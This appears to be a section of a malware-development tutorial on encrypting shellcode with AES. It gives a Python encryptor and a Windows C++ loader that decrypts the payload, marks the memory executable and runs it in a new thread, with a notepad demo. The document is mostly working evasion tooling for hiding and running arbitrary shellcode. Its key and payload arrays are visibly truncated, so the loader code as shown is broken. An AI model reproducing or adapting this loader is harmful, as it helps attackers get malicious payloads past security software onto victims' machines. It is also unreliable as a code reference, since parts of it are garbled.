# AES Encryption

In this section we will be seeing the, how AES encryption is implemented on the shellcode, and the python file, which does it, and how does the .cpp file decrypts it back.

Here's the python file which I have written:

```python
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

ENCRYPTION_KEY = urandom(16)

def pad(s):
    pad_length = AES.block_size - (len(s) % AES.block_size)
    return s + bytes([pad_length] * pad_length)

def AES_encrypt(plaintext, key):
    k = hashlib.sha256(key).digest()
    iv = urandom(AES.block_size)

    if isinstance(plaintext, str):
        plaintext = plaintext.encode()  # Convert string to bytes if it's a string

    plaintext = pad(plaintext)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return iv + ciphertext


try:
    plaintext_path = sys.argv[1]
except IndexError:
    print("Usage: python 'new 1.py' PAYLOAD_FILE > OUTPUT_FILE")
    sys.exit(1)

try:
    with open(plaintext_path, "rb") as file:
        plaintext = file.read()
except FileNotFoundError:
    print(f"File '{plaintext_path}' not found.")
    sys.exit(1)

ciphertext = AES_encrypt(plaintext, ENCRYPTION_KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ENCRYPTION_KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')

```

Here's the .cpp file:

```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>

int DecryptAES(char *payload, unsigned int payload_len, char *key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE *)key, (DWORD)keylen, 0)) {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return -1;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE *)payload, &payload_len)) {
        return -1;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

    return 0;
}

int main(void) {

    void *alloc_mem;
    BOOL retval;
    HANDLE threadHandle;
    DWORD oldprotect = 0;

    char encryption_key[] = { 0x26, 0x7, 0x7, 0x95, 0x0, 0xf2, 0x19, 0xe3, 0x2, 0xdc, 0x52,
    unsigned char payload[] = { 0x16, 0x4f, 0xad, 0x1f, 0xc, 0x57, 0x2a, 0x2b, 0x96, 0x30, 0


    unsigned int payload_length = sizeof(payload);

    // Allocate new memory buffer for payload
    alloc_mem = VirtualAlloc(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "alloc_mem addr", (void *)alloc_mem);

    printf("\n[1] Press Enter to Decrypt AES Payload\n");
    getchar();

    // Decrypt the AES payload to Original Shellcode
    DecryptAES((char *)payload, payload_length, encryption_key, sizeof(encryption_key));

    // Copy the decrypted payload to allocated memory
    RtlMoveMemory(alloc_mem, payload, payload_length);

    // Set the newly allocated memory to be executable
    retval = VirtualProtect(alloc_mem, payload_length, PAGE_EXECUTE_READ, &oldprotect);

    printf("\n[2] Press Enter to Create Thread\n");
    getchar();

    // If VirtualProtect succeeded, run the thread that contains the shellcodePayload
    if (retval != 0) {
        threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)alloc_mem, 0, 0, 0);
        WaitForSingleObject(threadHandle, -1);
    }

    return 0;
}
```

Here in the DecryptAES function we use lot of inbuilt windows function, we can see it takes lot of parameters, you can find what all parameters it takes in the documentation.

Now you just need to run the python file, and then copy the hex in the .cpp file, then execute the .bat file, you will get a .exe file, if you run the .exe file, you can see that notepad is opened.